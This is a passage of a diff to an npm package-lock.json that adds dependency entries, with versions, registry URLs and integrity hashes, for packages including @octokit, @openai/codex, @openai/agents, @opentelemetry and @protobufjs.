"dependencies": { + "@octokit/endpoint": "^11.0.5", + "@octokit/request-error": "^7.1.2", + "@octokit/types": "^18.0.0", + "content-type": "^3.0.0", + "json-with-bigint": "^3.5.12", + "universal-user-agent": "^7.0.2" + }, + "engines": { + "node": ">= 20" + } + }, + "node_modules/@octokit/request-error": { + "version": "7.1.2", + "resolved": "https://registry.npmjs.org/@octokit/request-error/-/request-error-7.1.2.tgz", + "integrity": "sha512-XZRuT3xZ84D3gYErI1DZvhJ33dCWVV6uzBtWkaBB4TvA/L6eOeTZodxLFVB44bBEEo3vEx7y00UfX1tBLrtLRg==", + "license": "MIT", + "optional": true, + "dependencies": { + "@octokit/types": "^18.0.0" + }, + "engines": { + "node": ">= 20" + } + }, + "node_modules/@octokit/request/node_modules/content-type": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/content-type/-/content-type-3.1.1.tgz", + "integrity": "sha512-GW4qUsfFo59d0HbUibDlWv5wPz+vAAcaTWbKIuKCf0JkC7wWkSyf8f13IpXn5JkeMlB2P8iTSSIjwXljorg2vA==", + "license": "MIT", + "optional": true, + "engines": { + "node": ">=22" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/express" + } + }, + "node_modules/@octokit/types": { + "version": "18.0.0", + "resolved": "https://registry.npmjs.org/@octokit/types/-/types-18.0.0.tgz", + "integrity": "sha512-l6bAF43PNxkJp6g+W4PjoUSSkxHomXw2nOum5CTftJz1NlV3vu93NImgOYtLf6CbBUb5j+fiuzW0PPQ5JTSvZA==", + "license": "MIT", + "optional": true, + "dependencies": { + "@octokit/openapi-types": "^29.0.1" + } + }, + "node_modules/@openai/agents": { + "version": "0.11.8", + "resolved": "https://registry.npmjs.org/@openai/agents/-/agents-0.11.8.tgz", + "integrity": "sha512-D4XHF2g+Ub/L9fRJT/xpuiCqHyxiKzZbi0BqQxnso42t+J049O/OSvVzFBcRskF4uPFAvs0TOOB7KBbanCwaYQ==", + "license": "MIT", + "optional": true, + "dependencies": { + "@openai/agents-core": "0.11.8", + "@openai/agents-openai": "0.11.8", + "@openai/agents-realtime": "0.11.8", + "debug": "^4.4.0", + "openai": "^6.35.0" + }, + "peerDependencies": { + "zod": "^4.0.0" + } + }, + "node_modules/@openai/agents-core": { + "version": "0.11.8", + "resolved": "https://registry.npmjs.org/@openai/agents-core/-/agents-core-0.11.8.tgz", + "integrity": "sha512-TrE34RXXPoWYv2PjXf5hq3Eq+uvRJMNiY+Q5WBgEPjAg60yt2hya8cS2I8qkO6i25MjNJl37a25X0vL/gs5Wdg==", + "license": "MIT", + "optional": true, + "dependencies": { + "debug": "^4.4.0", + "openai": "^6.35.0" + }, + "optionalDependencies": { + "@modelcontextprotocol/sdk": "^1.26.0" + }, + "peerDependencies": { + "zod": "^4.0.0" + }, + "peerDependenciesMeta": { + "zod": { + "optional": true + } + } + }, + "node_modules/@openai/agents-core/node_modules/openai": { + "version": "6.49.0", + "resolved": "https://registry.npmjs.org/openai/-/openai-6.49.0.tgz", + "integrity": "sha512-aYCc0C6L864eR6WSYIwQGyXriw/nIyZx0ObvhzOEVuk0zoBDpynjSbrionWI7q65B5H8jJX0DXR9snEzM6bfPg==", + "license": "Apache-2.0", + "optional": true, + "peerDependencies": { + "@aws-sdk/credential-provider-node": ">=3.972.0 <4", + "@smithy/hash-node": ">=4.3.0 <5", + "@smithy/signature-v4": ">=5.4.0 <6", + "ws": "^8.18.0", + "zod": "^3.25 || ^4.0" + }, + "peerDependenciesMeta": { + "@aws-sdk/credential-provider-node": { + "optional": true + }, + "@smithy/hash-node": { + "optional": true + }, + "@smithy/signature-v4": { + "optional": true + }, + "ws": { + "optional": true + }, + "zod": { + "optional": true + } + } + }, + "node_modules/@openai/agents-openai": { + "version": "0.11.8", + "resolved": "https://registry.npmjs.org/@openai/agents-openai/-/agents-openai-0.11.8.tgz", + "integrity": "sha512-XjHCnJPGapgZBlh8y5oxU7zV0hrAQTF5im6HpUwaPcH5CeRFLtc06VXLso0vJ5G3g9e/J5gIh3S1iAxiJqEAVQ==", + "license": "MIT", + "optional": true, + "dependencies": { + "@openai/agents-core": "0.11.8", + "debug": "^4.4.0", + "openai": "^6.35.0" + }, + "peerDependencies": { + "zod": "^4.0.0" + } + }, + "node_modules/@openai/agents-openai/node_modules/openai": { + "version": "6.49.0", + "resolved": "https://registry.npmjs.org/openai/-/openai-6.49.0.tgz", + "integrity": "sha512-aYCc0C6L864eR6WSYIwQGyXriw/nIyZx0ObvhzOEVuk0zoBDpynjSbrionWI7q65B5H8jJX0DXR9snEzM6bfPg==", + "license": "Apache-2.0", + "optional": true, + "peerDependencies": { + "@aws-sdk/credential-provider-node": ">=3.972.0 <4", + "@smithy/hash-node": ">=4.3.0 <5", + "@smithy/signature-v4": ">=5.4.0 <6", + "ws": "^8.18.0", + "zod": "^3.25 || ^4.0" + }, + "peerDependenciesMeta": { + "@aws-sdk/credential-provider-node": { + "optional": true + }, + "@smithy/hash-node": { + "optional": true + }, + "@smithy/signature-v4": { + "optional": true + }, + "ws": { + "optional": true + }, + "zod": { + "optional": true + } + } + }, + "node_modules/@openai/agents-realtime": { + "version": "0.11.8", + "resolved": "https://registry.npmjs.org/@openai/agents-realtime/-/agents-realtime-0.11.8.tgz", + "integrity": "sha512-i1qEGUE8GTW0neWgAc1aj/3wZFtstz8bVG2BvVbU/BzQbyhZV8j3CvndkMJGFfgeobvVmn2qGTV5Ry6ibfuxeQ==", + "license": "MIT", + "optional": true, + "dependencies": { + "@openai/agents-core": "0.11.8", + "@types/ws": "^8.18.1", + "debug": "^4.4.0", + "ws": "^8.18.1" + }, + "peerDependencies": { + "zod": "^4.0.0" + } + }, + "node_modules/@openai/agents/node_modules/openai": { + "version": "6.49.0", + "resolved": "https://registry.npmjs.org/openai/-/openai-6.49.0.tgz", + "integrity": "sha512-aYCc0C6L864eR6WSYIwQGyXriw/nIyZx0ObvhzOEVuk0zoBDpynjSbrionWI7q65B5H8jJX0DXR9snEzM6bfPg==", + "license": "Apache-2.0", + "optional": true, + "peerDependencies": { + "@aws-sdk/credential-provider-node": ">=3.972.0 <4", + "@smithy/hash-node": ">=4.3.0 <5", + "@smithy/signature-v4": ">=5.4.0 <6", + "ws": "^8.18.0", + "zod": "^3.25 || ^4.0" + }, + "peerDependenciesMeta": { + "@aws-sdk/credential-provider-node": { + "optional": true + }, + "@smithy/hash-node": { + "optional": true + }, + "@smithy/signature-v4": { + "optional": true + }, + "ws": { + "optional": true + }, + "zod": { + "optional": true + } + } + }, + "node_modules/@openai/codex": { + "version": "0.153.4", + "resolved": "https://registry.npmjs.org/@openai/codex/-/codex-0.153.4.tgz", + "integrity": "sha512-wbHDmit7S/YvBGVX1DQmk13xtWblZ2cApeJ/pB7xDZ10Cna+DZc5ij7f0F4OxdsXN4FW1oLT48OpogUI1+8Y2w==", + "license": "Apache-2.0", + "optional": true, + "bin": { + "codex": "bin/codex.js" + }, + "engines": { + "node": ">=16" + }, + "optionalDependencies": { + "@openai/codex-darwin-arm64": "npm:@openai/codex@0.153.4-darwin-arm64", + "@openai/codex-darwin-x64": "npm:@openai/codex@0.153.4-darwin-x64", + "@openai/codex-linux-arm64": "npm:@openai/codex@0.153.4-linux-arm64", + "@openai/codex-linux-x64": "npm:@openai/codex@0.153.4-linux-x64", + "@openai/codex-win32-arm64": "npm:@openai/codex@0.153.4-win32-arm64", + "@openai/codex-win32-x64": "npm:@openai/codex@0.153.4-win32-x64" + } + }, + "node_modules/@openai/codex-darwin-arm64": { + "name": "@openai/codex", + "version": "0.153.4-darwin-arm64", + "resolved": "https://registry.npmjs.org/@openai/codex/-/codex-0.153.4-darwin-arm64.tgz", + "integrity": "sha512-B1qhN3fa1ay0R0wGziXqgwSkB5icpYChNKHhtBHff/0UtSTC7z+l8aTtvMlGjH3E8HEvY3+njIJelM9CAAoVWg==", + "cpu": [ + "arm64" + ], + "license": "Apache-2.0", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": ">=16" + } + }, + "node_modules/@openai/codex-darwin-x64": { + "name": "@openai/codex", + "version": "0.153.4-darwin-x64", + "resolved": "https://registry.npmjs.org/@openai/codex/-/codex-0.153.4-darwin-x64.tgz", + "integrity": "sha512-vnSbbPzfoDZmmyzsxswsDDXQ06IVFBzkQU7/hroB3ji93Ok2utcsq8Psfk2tjF5r9mEx8RWFJhzuTGHG26/NDA==", + "cpu": [ + "x64" + ], + "license": "Apache-2.0", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": ">=16" + } + }, + "node_modules/@openai/codex-linux-arm64": { + "name": "@openai/codex", + "version": "0.153.4-linux-arm64", + "resolved": "https://registry.npmjs.org/@openai/codex/-/codex-0.153.4-linux-arm64.tgz", + "integrity": "sha512-QKdjYLYV4hXIuUQDP3P6F4NXuWFoKo9WUoV4nAREIx55kiUyi8UsYdsVobkeXir5n/maEQgYMCKLHVma4rNPiw==", + "cpu": [ + "arm64" + ], + "license": "Apache-2.0", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=16" + } + }, + "node_modules/@openai/codex-linux-x64": { + "name": "@openai/codex", + "version": "0.153.4-linux-x64", + "resolved": "https://registry.npmjs.org/@openai/codex/-/codex-0.153.4-linux-x64.tgz", + "integrity": "sha512-x1EcwBlY3AObM1VTUHNM2AzAJQsyreGdagpF+qFiYi/Oa30VBktvvG0C6tLtCzqW6hjZNWkGZQWmeVk7MuJKWg==", + "cpu": [ + "x64" + ], + "license": "Apache-2.0", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=16" + } + }, + "node_modules/@openai/codex-sdk": { + "version": "0.153.4", + "resolved": "https://registry.npmjs.org/@openai/codex-sdk/-/codex-sdk-0.153.4.tgz", + "integrity": "sha512-z0rN8WMQxwEHYHpDJyKHZwNNUtM/1pdnxmKopIJ3qMCZyyDestaIhSGDZ0v0RSjm+REujcFyNd95oWs78zWgRg==", + "license": "Apache-2.0", + "optional": true, + "dependencies": { + "@openai/codex": "0.153.4" + }, + "engines": { + "node": ">=18" + } + }, + "node_modules/@openai/codex-security": { + "version": "0.1.31", + "resolved": "https://registry.npmjs.org/@openai/codex-security/-/codex-security-0.1.31.tgz", + "integrity": "sha512-XdxIQ+JQH3iysFPW2VdFcKAJJo+M+G4hR9x/KlVimMcbmocDVtQT+trjjfNPqZUdb2ZHrW7HHGepeRhMbMvCHQ==", + "license": "Apache-2.0", + "optional": true, + "dependencies": { + "@inquirer/prompts": "8.7.2", + "@linear/sdk": "95.0.0", + "@octokit/core": "7.0.8", + "@openai/codex": "0.156.1", + "@openai/codex-sdk": "0.156.1", + "ajv": "8.20.0", + "fflate": "0.8.3", + "incur": "0.5.1", + "ink": "7.1.1", + "js-tiktoken": "1.0.21", + "papaparse": "5.7.0", + "pdfjs-dist": "6.3.289", + "react": "19.3.0", + "semver": "7.8.5", + "smol-toml": "1.8.0", + "yaml": "2.9.1", + "yauzl": "3.4.0", + "zod": "4.6.5" + }, + "bin": { + "codex-security": "bin/codex-security.mjs" + }, + "engines": { + "node": "^22.13.0 || ^24.0.0 || ^26.0.0" + } + }, + "node_modules/@openai/codex-security/node_modules/@openai/codex": { + "version": "0.156.1", + "resolved": "https://registry.npmjs.org/@openai/codex/-/codex-0.156.1.tgz", + "integrity": "sha512-nI1iVl/n2SO2lSvlwEsJx63zdSI4C4Me2gR7AG0OWMJiGSakz2tY2hx43E39Zq5aEoeB5bZjJXzp5Sqhog6vyA==", + "license": "Apache-2.0", + "optional": true, + "bin": { + "codex": "bin/codex.js" + }, + "engines": { + "node": ">=16" + }, + "optionalDependencies": { + "@openai/codex-darwin-arm64": "npm:@openai/codex@0.156.1-darwin-arm64", + "@openai/codex-darwin-x64": "npm:@openai/codex@0.156.1-darwin-x64", + "@openai/codex-linux-arm64": "npm:@openai/codex@0.156.1-linux-arm64", + "@openai/codex-linux-x64": "npm:@openai/codex@0.156.1-linux-x64", + "@openai/codex-win32-arm64": "npm:@openai/codex@0.156.1-win32-arm64", + "@openai/codex-win32-x64": "npm:@openai/codex@0.156.1-win32-x64" + } + }, + "node_modules/@openai/codex-security/node_modules/@openai/codex-darwin-arm64": { + "name": "@openai/codex", + "version": "0.156.1-darwin-arm64", + "resolved": "https://registry.npmjs.org/@openai/codex/-/codex-0.156.1-darwin-arm64.tgz", + "integrity": "sha512-Jg6wbdV+wmMZczhwE74GSxOYEZlViKXn6KyCw/yfrz3PAKFD14xljuPopmdhWC1+8IKU2WdN5fdmXNPt2q4HPA==", + "cpu": [ + "arm64" + ], + "license": "Apache-2.0", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": ">=16" + } + }, + "node_modules/@openai/codex-security/node_modules/@openai/codex-darwin-x64": { + "name": "@openai/codex", + "version": "0.156.1-darwin-x64", + "resolved": "https://registry.npmjs.org/@openai/codex/-/codex-0.156.1-darwin-x64.tgz", + "integrity": "sha512-BVjqNOoltWrnNUrgMRepvDIIBmd4XY+ikAE4pYVHlrwiizNlEWQuCQOTrFMJKp54LFRG8jDTjLZyYQ1QrliuOg==", + "cpu": [ + "x64" + ], + "license": "Apache-2.0", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": ">=16" + } + }, + "node_modules/@openai/codex-security/node_modules/@openai/codex-linux-arm64": { + "name": "@openai/codex", + "version": "0.156.1-linux-arm64", + "resolved": "https://registry.npmjs.org/@openai/codex/-/codex-0.156.1-linux-arm64.tgz", + "integrity": "sha512-sTEHk31C12dqzJdjZ2u9KLFCXKL04KyCM+QheSjdQI8uzmVJS7aEF2/qAqFxXwk/jwMzC9u7IihfoIlAGR6YsA==", + "cpu": [ + "arm64" + ], + "license": "Apache-2.0", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=16" + } + }, + "node_modules/@openai/codex-security/node_modules/@openai/codex-linux-x64": { + "name": "@openai/codex", + "version": "0.156.1-linux-x64", + "resolved": "https://registry.npmjs.org/@openai/codex/-/codex-0.156.1-linux-x64.tgz", + "integrity": "sha512-2ePo0wgOcnONKsuzp8vBjOmNY+IdsKaouaDDIdiKq9HOWNuV/GI22OeXft2A/1GaoL71ictO0/pLAsCEnQ6wew==", + "cpu": [ + "x64" + ], + "license": "Apache-2.0", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=16" + } + }, + "node_modules/@openai/codex-security/node_modules/@openai/codex-sdk": { + "version": "0.156.1", + "resolved": "https://registry.npmjs.org/@openai/codex-sdk/-/codex-sdk-0.156.1.tgz", + "integrity": "sha512-t1GNPYrSIjHGfBKZ+9pbjOS/by0tMwVe+27fHsMO3RHl9QLIc7dB8XYR954iZ6HpF4EAjZs0melT0mPXF03jVg==", + "license": "Apache-2.0", + "optional": true, + "dependencies": { + "@openai/codex": "0.156.1" + }, + "engines": { + "node": ">=18" + } + }, + "node_modules/@openai/codex-security/node_modules/@openai/codex-win32-arm64": { + "name": "@openai/codex", + "version": "0.156.1-win32-arm64", + "resolved": "https://registry.npmjs.org/@openai/codex/-/codex-0.156.1-win32-arm64.tgz", + "integrity": "sha512-e5DsyOHlKWulTBz/neIczpcYLQDqtaLtBj2lgncOgeQw5mlAQVZHlGvKsoKVcEPUKLb8opIMJBxXi6cz3JJ4hg==", + "cpu": [ + "arm64" + ], + "license": "Apache-2.0", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">=16" + } + }, + "node_modules/@openai/codex-security/node_modules/@openai/codex-win32-x64": { + "name": "@openai/codex", + "version": "0.156.1-win32-x64", + "resolved": "https://registry.npmjs.org/@openai/codex/-/codex-0.156.1-win32-x64.tgz", + "integrity": "sha512-MJyLxbBs2zzp5kbaR/99Zwe7SmbrwUkveTcT+ayYlO48V0nYh0eU+h2lalBwvC7VJ/ya/bXnUtISJfJKhGCD/g==", + "cpu": [ + "x64" + ], + "license": "Apache-2.0", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">=16" + } + }, + "node_modules/@openai/codex-win32-arm64": { + "name": "@openai/codex", + "version": "0.153.4-win32-arm64", + "resolved": "https://registry.npmjs.org/@openai/codex/-/codex-0.153.4-win32-arm64.tgz", + "integrity": "sha512-/FBh42976ltF1kxDoPQBg1Q6+hwChRU5/sm5dfeC8kFVQMvOCGoGeY5d8rRZGVJE8XojlXo74VQb0sHowcfgBw==", + "cpu": [ + "arm64" + ], + "license": "Apache-2.0", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">=16" + } + }, + "node_modules/@openai/codex-win32-x64": { + "name": "@openai/codex", + "version": "0.153.4-win32-x64", + "resolved": "https://registry.npmjs.org/@openai/codex/-/codex-0.153.4-win32-x64.tgz", + "integrity": "sha512-lMkB43kJZH0VFr+hoXc11qqR7QtQIbkr07ALgj4urKL1osNyUyuy1iXd3Vzz2iCYvBUCSw7I0l/W1cEPGx9euQ==", + "cpu": [ + "x64" + ], + "license": "Apache-2.0", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">=16" + } + }, + "node_modules/@opencode-ai/sdk": { + "version": "1.18.32", + "resolved": "https://registry.npmjs.org/@opencode-ai/sdk/-/sdk-1.18.32.tgz", + "integrity": "sha512-Wi3WtH/cLA3C0ga05lyDb7zac+SzbST9MPwCve1Ffod0xwzHdy9G2gnxvMAR4RBRhKJS32Rgk2cR+fxBhAVSQw==", + "license": "MIT", + "optional": true, + "dependencies": { + "cross-spawn": "7.0.6" + } + }, + "node_modules/@opentelemetry/api": { + "version": "1.9.1", + "resolved": "https://registry.npmjs.org/@opentelemetry/api/-/api-1.9.1.tgz", + "integrity": "sha512-gLyJlPHPZYdAk1JENA9LeHejZe1Ti77/pTeFm/nMXmQH/HFZlcS/O2XJB+L8fkbrNSqhdtlvjBVjxwUYanNH5Q==", + "license": "Apache-2.0", + "engines": { + "node": ">=8.0.0" + } + }, + "node_modules/@opentelemetry/api-logs": { + "version": "0.222.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/api-logs/-/api-logs-0.222.0.tgz", + "integrity": "sha512-9mb1If+IF6u0ZVXkHQ6ogEae5HwA6ajIVUgpSDQyRASxft6BSXHvBvPooRle3yFN/fKnCdSOnuu0OC3PLcF6+g==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/api": "^1.3.0" + }, + "engines": { + "node": ">=8.0.0" + } + }, + "node_modules/@opentelemetry/context-async-hooks": { + "version": "2.11.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/context-async-hooks/-/context-async-hooks-2.11.0.tgz", + "integrity": "sha512-Tr79DyWI8itsBdg+jH+opjfrwLzX+erk1/ExkIwhWoAVjVrJIn2y5+cGjTC0Vy8fyNIA/y8wuJPZwr1T3xCZeQ==", + "license": "Apache-2.0", + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.0.0 <1.10.0" + } + }, + "node_modules/@opentelemetry/core": { + "version": "2.11.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/core/-/core-2.11.0.tgz", + "integrity": "sha512-7YP44XH0tV6+Mb54x2YGf84i7yi+31MBZlE8JwvozkxyTvXbSp10X7cI7YE49ChJ3shMJoBmCJF3+1QFBJctGA==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/semantic-conventions": "^1.29.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.0.0 <1.10.0" + } + }, + "node_modules/@opentelemetry/exporter-trace-otlp-http": { + "version": "0.222.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/exporter-trace-otlp-http/-/exporter-trace-otlp-http-0.222.0.tgz", + "integrity": "sha512-RCnPWcHppwiquQ+cV3nWvNwdf0MG1w26e5jewW2T83nTZOlXgcg88sY9ulCVgagGHcq1mj0L0GP6YHgzk2v8oA==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/otlp-exporter-base": "0.222.0", + "@opentelemetry/otlp-transformer": "0.222.0", + "@opentelemetry/sdk-trace": "2.11.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": "^1.3.0" + } + }, + "node_modules/@opentelemetry/otlp-exporter-base": { + "version": "0.222.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/otlp-exporter-base/-/otlp-exporter-base-0.222.0.tgz", + "integrity": "sha512-YbywG3veEm2Fb6TbdxRkuquWob6eVWXuA8/Ba1tXz9jHfUqpdE3keilOHEtPboC4CvS1bjeeVfNkWGOOrLj+lw==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/core": "2.11.0", + "@opentelemetry/otlp-transformer": "0.222.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": "^1.3.0" + } + }, + "node_modules/@opentelemetry/otlp-transformer": { + "version": "0.222.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/otlp-transformer/-/otlp-transformer-0.222.0.tgz", + "integrity": "sha512-/F3BZ89+CJQnZkMh2tCrtcdB+XT2Dxhj4FFE+WPQ//413hmFL0/RfEX6vgOIWGhiSzrkHWTK3+6SiT7K5/g/jQ==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/api-logs": "0.222.0", + "@opentelemetry/core": "2.11.0", + "@opentelemetry/resources": "2.11.0", + "@opentelemetry/sdk-logs": "0.222.0", + "@opentelemetry/sdk-metrics": "2.11.0", + "@opentelemetry/sdk-trace": "2.11.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": "^1.3.0" + } + }, + "node_modules/@opentelemetry/resources": { + "version": "2.11.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/resources/-/resources-2.11.0.tgz", + "integrity": "sha512-Ie7+8q8MDF4FAEQCKVMTx3ReUvxiIAgIiiW3c9JdmP8+HMcDy20puT+AHjexnExgnbvBxjQ9fjkFDWrikJ2jQA==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/core": "2.11.0", + "@opentelemetry/semantic-conventions": "^1.29.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.3.0 <1.10.0" + } + }, + "node_modules/@opentelemetry/sdk-logs": { + "version": "0.222.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-logs/-/sdk-logs-0.222.0.tgz", + "integrity": "sha512-+19YHODIjaUCArxleaJtuufFZVpz/xvvK+VllQqE+W8hHolxdoRwHfK/s667zezwh1hkx6FFF+oYzetYgqK+Bg==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/api-logs": "0.222.0", + "@opentelemetry/core": "2.11.0", + "@opentelemetry/resources": "2.11.0", + "@opentelemetry/semantic-conventions": "^1.29.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.4.0 <1.10.0" + } + }, + "node_modules/@opentelemetry/sdk-metrics": { + "version": "2.11.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-metrics/-/sdk-metrics-2.11.0.tgz", + "integrity": "sha512-7GXXcObyHyDUUSG+L+kJoquty01bzm7ivE7+SSgXXJcHuPzGviptxwARmI2c+bnnxjexGQbJnyNlN8HxBP/Y7A==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/core": "2.11.0", + "@opentelemetry/resources": "2.11.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.9.0 <1.10.0" + } + }, + "node_modules/@opentelemetry/sdk-trace": { + "version": "2.11.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-trace/-/sdk-trace-2.11.0.tgz", + "integrity": "sha512-fFnTqGm8/G73GQVnxYi7LXa1ZVYEUvgL6XI1LpvV0bPC7WQ/ZGgKxCSl8FnlZBKto9JHHEFTO6s6CUpvvtwFrA==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/core": "2.11.0", + "@opentelemetry/resources": "2.11.0", + "@opentelemetry/semantic-conventions": "^1.29.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.3.0 <1.10.0" + } + }, + "node_modules/@opentelemetry/sdk-trace-base": { + "version": "2.11.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-trace-base/-/sdk-trace-base-2.11.0.tgz", + "integrity": "sha512-H19x/TX/LZdqiYOjM7fqtSxwlplC5pgelavqbQdHbhdq0q/AI/TGkM2dfGuuynTXmJPeF2HoZVoPDu+TGoW78A==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/core": "2.11.0", + "@opentelemetry/resources": "2.11.0", + "@opentelemetry/sdk-trace": "2.11.0", + "@opentelemetry/semantic-conventions": "^1.29.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.3.0 <1.10.0" + } + }, + "node_modules/@opentelemetry/sdk-trace-node": { + "version": "2.11.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-trace-node/-/sdk-trace-node-2.11.0.tgz", + "integrity": "sha512-CuvCMJmZxswhNLlM2LfuLOW3h3fZujA4hsG4B+Sz4dX2zvaXO8Ng74cnDHWD64gLszTlhiG3c0iNUjj4g+0/sA==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/context-async-hooks": "2.11.0", + "@opentelemetry/core": "2.11.0", + "@opentelemetry/sdk-trace-base": "2.11.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.0.0 <1.10.0" + } + }, + "node_modules/@opentelemetry/semantic-conventions": { + "version": "1.43.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/semantic-conventions/-/semantic-conventions-1.43.0.tgz", + "integrity": "sha512-eSYWTm620tTk45EKSedaUL8MFYI8hW164hIXsgIHyxu3VobUB3fFCu5t0hQby6OoWRPsG1KkKUG2M5UadiLiVg==", + "license": "Apache-2.0", + "engines": { + "node": ">=14" + } + }, + "node_modules/@pkgjs/parseargs": { + "version": "0.11.0", + "resolved": "https://registry.npmjs.org/@pkgjs/parseargs/-/parseargs-0.11.0.tgz", + "integrity": "sha512-+1VkjdD0QBLPodGrJUeqarH8VAIvQODIbwh9XpP5Syisf7YoQgsJKPNFoqqLQlu+VQ/tVSshMR6loPMn8U+dPg==", + "license": "MIT", + "optional": true, + "engines": { + "node": ">=14" + } + }, + "node_modules/@playwright/browser-chromium": { + "version": "1.63.0", + "resolved": "https://registry.npmjs.org/@playwright/browser-chromium/-/browser-chromium-1.63.0.tgz", + "integrity": "sha512-m2daAx2QmBFeO8iqVjeCrYlihlhw1FchLQayCCZsZ2IdvA7Uk7sFsjNm7RleAt2rDARH/ZEtXQi7e65WB1VGPQ==", + "hasInstallScript": true, + "license": "Apache-2.0", + "optional": true, + "dependencies": { + "playwright-core": "1.63.0" + }, + "engines": { + "node": ">=20" + } + }, + "node_modules/@posthog/core": { + "version": "1.23.1", + "resolved": "https://registry.npmjs.org/@posthog/core/-/core-1.23.1.tgz", + "integrity": "sha512-GViD5mOv/mcbZcyzz3z9CS0R79JzxVaqEz4sP5Dsea178M/j3ZWe6gaHDZB9yuyGfcmIMQ/8K14yv+7QrK4sQQ==", + "license": "MIT", + "dependencies": { + "cross-spawn": "^7.0.6" + } + }, + "node_modules/@protobufjs/aspromise": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/@protobufjs/aspromise/-/aspromise-1.1.2.tgz", + "integrity": "sha512-j+gKExEuLmKwvz3OgROXtrJ2UG2x8Ch2YZUxahh+s1F2HZ+wAceUNLkvy6zKCPVRkU++ZWQrdxsUeQXmcg4uoQ==", + "license": "BSD-3-Clause", + "optional": true + }, + "node_modules/@protobufjs/base64": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/@protobufjs/base64/-/base64-1.1.2.tgz", + "integrity": "sha512-AZkcAA5vnN/v4PDqKyMR5lx7hZttPDgClv83E//FMNhR2TMcLUhfRUBHCmSl0oi9zMgDDqRUJkSxO3wm85+XLg==", + "license": "BSD-3-Clause", + "optional": true + }, + "node_modules/@protobufjs/codegen": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/@protobufjs/codegen/-/codegen-2.0.5.tgz", + "integrity": "sha512-zgXFLzW3Ap33e6d0Wlj4MGIm6Ce8O89n/apUaGNB/jx+hw+ruWEp7EwGUshdLKVRCxZW12fp9r40E1mQrf/34g==", + "license": "BSD-3-Clause", + "optional": true + }, + "node_modules/@protobufjs/eventemitter": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/@protobufjs/eventemitter/-/eventemitter-1.1.1.tgz", + "integrity": "sha512-vW1GmwMZNnL+gMRaovlh9yZX74kc+TTU3FObkkurpMaRtBfLP3ldjS9KQWlwZgraRE0+dheEEoAxdzcJQ8eXZg==", + "license": "BSD-3-Clause", + "optional": true + }, + "node_modules/@protobufjs/fetch": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/@protobufjs/fetch/-/fetch-1.1.1.tgz", + "integrity": "sha512-GpptLrs57adMSuHi3VNj0mAF8dwh36LMaYF6XyJ6JMWlVsc+t42tm1HSEDmOs3A8fC9yyeisgLhsTVQokOZ0zw==", + "license": "BSD-3-Clause", + "optional": true, + "dependencies": { + "@protobufjs/aspromise": "^1.1.1" + } + }, + "node_modules/@protobufjs/float": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/@protobufjs/float/-/float-1.0.2.tgz", + "integrity": "sha512-Ddb+kVXlXst9d+R9PfTIxh1EdNkgoRe5tOX6t01f1lYWOvJnSPDBlG241QLzcyPdoNTsblLUdujGSE4RzrTZGQ==", 